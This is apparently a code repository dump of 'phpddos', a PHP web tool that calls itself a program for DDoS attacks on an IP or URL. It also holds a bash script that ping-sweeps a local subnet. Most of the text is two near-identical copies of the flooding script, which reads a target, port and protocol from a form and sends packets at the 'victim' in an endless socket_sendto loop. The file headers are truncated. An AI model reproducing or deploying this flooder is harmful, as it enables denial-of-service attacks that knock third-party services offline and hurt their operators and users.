382 |
383 |
384 | phpddos
385 | automatic method
386 |
387 |
388 |
389 |
390 |
391 |
392 |
500 |
501 |
502 |
503 |
504 |
505 |
506 |
507 |
508 |
584 |
585 |
586 |
587 |
588 |
589 |
590 |
591 |
592 |
593 |
594 |
595 |
596 | ";
607 |
608 |
609 | sleep(1);
610 |
611 |
612 |
613 |
614 | /* Import file with classes and check exists*/
615 |
616 | require_once(dirname(__FILE__) . "/ddos.php");
617 |
618 |
619 |
620 | /* check DDOS_ATTACK_SEND_TO class exists */
621 |
622 | if (class_exists('DDOS_ATTACK_SEND_TO'))
623 | {
624 |
625 |
626 | $obj = new DDOS_ATTACK_SEND_TO();
627 |
628 |
629 | if ($obj == true)
630 | {
631 |
632 |
633 | // for socket create
634 |
635 | $domain = $obj->SOCKET_DOMAIN();
636 | $type = $obj->SOCKET_TYPE();
637 | $protocol = $obj->SOCKET_PROTOCOL();
638 | $protocol_u = $obj->SAFE_INPUT_IP($_POST['method']);
639 |
640 | // for socket send_to
641 |
642 | $bytes = $obj->BYTES[1];
643 | $buffer = $obj->LENGTH_BYTES($obj->BYTES[1]);
644 | $flag = $obj::CONSTANT;
645 | $ip_addr = $obj->SAFE_INPUT_IP($_POST['ip_addr']);
646 | $port = $obj->SAFE_INPUT_IP($_POST['port']);
647 |
648 |
649 |
650 | if (filter_var($ip_addr, FILTER_VALIDATE_IP))
651 | {
652 | $ip_addr;
653 | }
654 |
655 |
656 | else
657 | {
658 | $ip_addr = gethostbyname($ip_addr);
659 | }
660 |
661 |
662 | // for the port check value
663 |
664 | if ($port == "0")
665 | {
666 | $port = $obj->DEFAULT_PORT();
667 | }
668 |
669 |
670 | else if ($port == "21")
671 | {
672 | $port = $obj->port_list['fpt'];
673 | }
674 |
675 |
676 |
677 | else if ($port == "22")
678 | {
679 | $port = $obj->port_list['ssh'];
680 | }
681 |
682 |
683 |
684 | else if ($port == "23")
685 | {
686 | $port = $obj->port_list['telnet'];
687 | }
688 |
689 |
690 |
691 | else if ($port == "25")
692 | {
693 | $port = $obj->port_list['smtp'];
694 | }
695 |
696 |
697 |
698 | else if ($port == "53")
699 | {
700 | $port = $obj->port_list['dns'];
701 | }
702 |
703 |
704 | else if ($port == "80")
705 | {
706 | $port = $obj->port_list['http'];
707 | }
708 |
709 |
710 |
711 | else if ($port == "110")
712 | {
713 | $port = $obj->port_list['pop3'];
714 | }
715 |
716 |
717 |
718 | else if ($port == "143")
719 | {
720 | $port = $obj->port_list['imap'];
721 | }
722 |
723 |
724 |
725 | else if ($port == "443")
726 | {
727 | $port = $obj->port_list['https'];
728 | }
729 |
730 |
731 |
732 | else if ($port == "465")
733 | {
734 | $port = $obj->port_list['smtp/s'];
735 | }
736 |
737 |
738 |
739 | else if ($port == "587")
740 | {
741 | $port = $obj->port_list['smtp/n'];
742 | }
743 |
744 |
745 | else if ($port == "993")
746 | {
747 | $port = $obj->port_list['imap4'];
748 | }
749 |
750 |
751 |
752 | else if ($port == "995")
753 | {
754 | $port = $obj->port_list['pop3/s'];
755 | }
756 |
757 |
758 |
759 | else if ($port == "1433")
760 | {
761 | $port = $obj->port_list['sql'];
762 | }
763 |
764 |
765 |
766 | else if ($port == "3306")
767 | {
768 | $port = $obj->port_list['mysql'];
769 | }
770 |
771 |
772 | else if ($port == "3389")
773 | {
774 | $port = $obj->port_list['rdp'];
775 | }
776 |
777 |
778 |
779 | else if ($port == "5631")
780 | {
781 | $port = $obj->port_list['pc/anyware'];
782 | }
783 |
784 |
785 |
786 |
787 | // Timeout for send bytes(again and again)
788 | set_time_limit(0);
789 |
790 |
791 |
792 | /* Create socket for ddos atack
793 | *
794 | * AF_INET IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family.
795 | *
796 | * SOCK_STREAM Provides sequenced, reliable, full-duplex, connection-based byte streams.
797 | * An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
798 | *
799 | * udp The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths.
800 | * Due to these aspects, UDP requires a minimum amount of protocol overhead.
801 | *
802 | * tcp The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol.
803 | * TCP guarantees that all data packets will be received in the order in which they were sent.
804 | * If any packet is somehow lost during communication, TCP will automatically retransmit the packet
805 | * until the destination host acknowledges that packet. For reliability and performance reasons,
806 | * the TCP implementation itself decides the appropriate octet boundaries
807 | * of the underlying datagram communication layer.
808 | * Therefore, TCP applications must allow for the possibility of partial record transmission.
809 | */
810 |
811 | /* Check for protocol udp or tcp to create socket */
812 |
813 | if ($protocol_u == "TCP")
814 | {
815 | // create socket for connection tcp
816 |
817 | if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false)
818 | {
819 | echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
820 | }
821 |
822 | else
823 | {
824 | $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
825 | }
826 |
827 | }
828 |
829 |
830 | else if ($protocol_u == "UDP")
831 | {
832 |
833 | // create socket for connection udp
834 | // check for udp classes
835 |
836 | if ($domain = 'AF_INET' && $type = 'SOCK_DGRAM' && $protocol = 'SOL_UDP')
837 | {
838 |
839 |
840 | if (($sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP)) === false)
841 | {
842 | echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
843 | }
844 |
845 | else
846 | {
847 | $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
848 | }
849 |
850 | } // end of object class for domain, type and protocol
851 |
852 |
853 |
854 | else
855 | {
856 | $errorcode = socket_last_error();
857 | $errormsg = socket_strerror($errorcode);
858 |
859 | die("Couldn't create socket: [$errorcode] $errormsg");
860 | }
861 |
862 | }
863 |
864 |
865 | // for socket send data (bytes(binary)) to victim
866 | while(1)
867 | {
868 | socket_sendto($sock,$bytes, $buffer, $flag, $ip_addr, $port);
869 | }
870 |
871 |
872 |
873 | // close socket connection
874 | socket_close($sock);
875 |
876 |
877 | ob_end_flush();
878 |
879 |
880 |
881 |
882 | } // end if objects from class
883 |
884 |
885 |
886 |
887 |
888 | else
889 | {
890 | $obj->__destruct(); // for bytes send
891 | $obj->DISCONNECT(); // for socket connect
892 | $obj->DIS_LENGTH_BYTES(); // for length bytes
893 | $obj->DIS_DEFAULT_PORT(); // for default port
894 | }
895 |
896 |
897 |
898 |
899 |
900 | } // end of class DDOS_ATTACK_SEND_TO exists
901 |
902 |
903 |
904 | } // end if of submit
905 |
906 |
907 |
908 |
909 |
910 | ?>
911 |
--------------------------------------------------------------------------------
/__CORE__/ddos.php:
--------------------------------------------------------------------------------
1 |
6 | * Phpddos is a program for ddos attack (ip, url).
7 | *
8 | * Phpddos is free software: you can redistribute it and/or modify
9 | * it under the terms of the GNU Affero General Public License as
10 | * published by the Free Software Foundation, either version 3 of the
11 | * License, or (at your option) any later version.
12 | *
13 | *
14 | * Phpddos is distributed in the hope that it will be useful,
15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | * GNU Affero General Public License for more details.
18 | *
19 | * You should have received a copy of the GNU Affero General Public License, version 3,
20 | * along with this program. If not, see
328 |
329 |
330 | phpddos
331 | automatic method
332 |
333 |
334 |
335 |
336 |
337 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
494 |
495 |
496 |
497 |
498 |
499 |
500 |
501 |
502 |
503 |
504 |
505 |
506 | ";
516 | sleep(1);
517 |
518 | /* Import file with classes and check exists*/
519 | require_once(dirname(__FILE__) . "/ddos.php");
520 |
521 | /* check DDOS_ATTACK_SEND_TO class exists */
522 | if (class_exists('DDOS_ATTACK_SEND_TO'))
523 | {
524 |
525 | $obj = new DDOS_ATTACK_SEND_TO();
526 |
527 | if ($obj == true)
528 | {
529 | // for socket create
530 | $domain = $obj->SOCKET_DOMAIN();
531 | $type = $obj->SOCKET_TYPE();
532 | $protocol = $obj->SOCKET_PROTOCOL();
533 | $protocol_u = $obj->SAFE_INPUT_IP($_POST['method']);
534 |
535 | // for socket send_to
536 |
537 | $bytes = $obj->BYTES[1];
538 | $buffer = $obj->LENGTH_BYTES($obj->BYTES[1]);
539 | $flag = $obj::CONSTANT;
540 | $ip_addr = $obj->SAFE_INPUT_IP($_POST['ip_addr']);
541 | $port = $obj->SAFE_INPUT_IP($_POST['port']);
542 |
543 | if (filter_var($ip_addr, FILTER_VALIDATE_IP))
544 | {
545 | $ip_addr;
546 | }
547 |
548 | else
549 | {
550 | $ip_addr = gethostbyname($ip_addr);
551 | }
552 |
553 | // for the port check value
554 | if ($port == "0")
555 | {
556 | $port = $obj->DEFAULT_PORT();
557 | }
558 |
559 | else if ($port == "21")
560 | {
561 | $port = $obj->port_list['fpt'];
562 | }
563 |
564 | else if ($port == "22")
565 | {
566 | $port = $obj->port_list['ssh'];
567 | }
568 |
569 | else if ($port == "23")
570 | {
571 | $port = $obj->port_list['telnet'];
572 | }
573 |
574 | else if ($port == "25")
575 | {
576 | $port = $obj->port_list['smtp'];
577 | }
578 |
579 | else if ($port == "53")
580 | {
581 | $port = $obj->port_list['dns'];
582 | }
583 |
584 | else if ($port == "80")
585 | {
586 | $port = $obj->port_list['http'];
587 | }
588 |
589 | else if ($port == "110")
590 | {
591 | $port = $obj->port_list['pop3'];
592 | }
593 |
594 | else if ($port == "143")
595 | {
596 | $port = $obj->port_list['imap'];
597 | }
598 |
599 | else if ($port == "443")
600 | {
601 | $port = $obj->port_list['https'];
602 | }
603 |
604 | else if ($port == "465")
605 | {
606 | $port = $obj->port_list['smtp/s'];
607 | }
608 |
609 | else if ($port == "587")
610 | {
611 | $port = $obj->port_list['smtp/n'];
612 | }
613 |
614 | else if ($port == "993")
615 | {
616 | $port = $obj->port_list['imap4'];
617 | }
618 |
619 | else if ($port == "995")
620 | {
621 | $port = $obj->port_list['pop3/s'];
622 | }
623 |
624 | else if ($port == "1433")
625 | {
626 | $port = $obj->port_list['sql'];
627 | }
628 |
629 | else if ($port == "3306")
630 | {
631 | $port = $obj->port_list['mysql'];
632 | }
633 |
634 | else if ($port == "3389")
635 | {
636 | $port = $obj->port_list['rdp'];
637 | }
638 |
639 | else if ($port == "5631")
640 | {
641 | $port = $obj->port_list['pc/anyware'];
642 | }
643 |
644 | // Timeout for send bytes(again and again)
645 | set_time_limit(0);
646 |
647 |
648 | /* Create socket for ddos atack
649 | *
650 | * AF_INET IPv4 Internet based protocols. TCP and UDP are common protocols of this protocol family.
651 | *
652 | * SOCK_STREAM Provides sequenced, reliable, full-duplex, connection-based byte streams.
653 | * An out-of-band data transmission mechanism may be supported. The TCP protocol is based on this socket type.
654 | *
655 | * udp The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths.
656 | * Due to these aspects, UDP requires a minimum amount of protocol overhead.
657 | *
658 | * tcp The Transmission Control Protocol is a reliable, connection based, stream oriented, full duplex protocol.
659 | * TCP guarantees that all data packets will be received in the order in which they were sent.
660 | * If any packet is somehow lost during communication, TCP will automatically retransmit the packet
661 | * until the destination host acknowledges that packet. For reliability and performance reasons,
662 | * the TCP implementation itself decides the appropriate octet boundaries
663 | * of the underlying datagram communication layer.
664 | * Therefore, TCP applications must allow for the possibility of partial record transmission.
665 | */
666 | /* Check for protocol udp or tcp to create socket */
667 | if ($protocol_u == "TCP")
668 | {
669 | // create socket for connection tcp
670 | if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false)
671 | {
672 | echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
673 | }
674 | else
675 | {
676 | $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
677 | }
678 |
679 | }
680 |
681 |
682 | else if ($protocol_u == "UDP")
683 | {
684 | // create socket for connection udp
685 | // check for udp classes
686 | if ($domain = 'AF_INET' && $type = 'SOCK_DGRAM' && $protocol = 'SOL_UDP')
687 | {
688 |
689 |
690 | if (($sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP)) === false)
691 | {
692 | echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
693 | }
694 | else
695 | {
696 | $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
697 | }
698 | } // end of object class for domain, type and protocol
699 |
700 |
701 | else
702 | {
703 | $errorcode = socket_last_error();
704 | $errormsg = socket_strerror($errorcode);
705 |
706 | die("Couldn't create socket: [$errorcode] $errormsg");
707 | }
708 | }
709 |
710 | // for socket send data (bytes(binary)) to victim
711 | while(1)
712 | {
713 | socket_sendto($sock,$bytes, $buffer, $flag, $ip_addr, $port);
714 | }
715 | // close socket connection
716 |
717 |
718 | socket_close($sock);
719 | ob_end_flush();
720 | } // end if objects from class
721 |
722 | else
723 | {
724 | $obj->__destruct(); // for bytes send
725 | $obj->DISCONNECT(); // for socket connect
726 | $obj->DIS_LENGTH_BYTES(); // for length bytes
727 | $obj->DIS_DEFAULT_PORT(); // for default port
728 | }
729 |
730 | } // end of class DDOS_ATTACK_SEND_TO exists
731 | } // end if of submit
732 |
733 |
734 | ?>
735 |
--------------------------------------------------------------------------------
/__DEV__/devices.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Uncomment for debugging
3 | #set -x
4 |
5 |
6 |
7 | isp=$(/sbin/ip route | awk '/default/ { print $3 }')
8 |
9 | isp=${isp:0:10}
10 |
11 | pingf(){
12 | if ping -w 2 -q -c 1 $isp"$1" > /dev/null;
13 | then
14 | printf "%s \n" 192.168.2."$1"
15 |
16 | fi
17 | }
18 |
19 | main(){
20 |
21 | NUM=1
22 | while [ $NUM -lt 255 ];do
23 | pingf "$NUM" &
24 | NUM=$(expr "$NUM" + 1)
25 | done | sort -nu # for sort ip devices
26 | wait
27 | }
28 |
29 | main
30 |
31 |
32 |
--------------------------------------------------------------------------------
/img/ddos.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/makdosx/phpddos/5674c47702fe7585c41fe539314d5a54682407e9/img/ddos.png
--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
1 |
5 | * Phpddos is a program for ddos attack (ip, url).
6 | *
7 | * Phpddos is free software: you can redistribute it and/or modify
8 | * it under the terms of the GNU Affero General Public License as
9 | * published by the Free Software Foundation, either version 3 of the
10 | * License, or (at your option) any later version.
11 | *
12 | *
13 | * Phpddos is distributed in the hope that it will be useful,
14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | * GNU Affero General Public License for more details.
17 | *
18 | * You should have received a copy of the GNU Affero General Public License, version 3,
19 | * along with this program. If not, see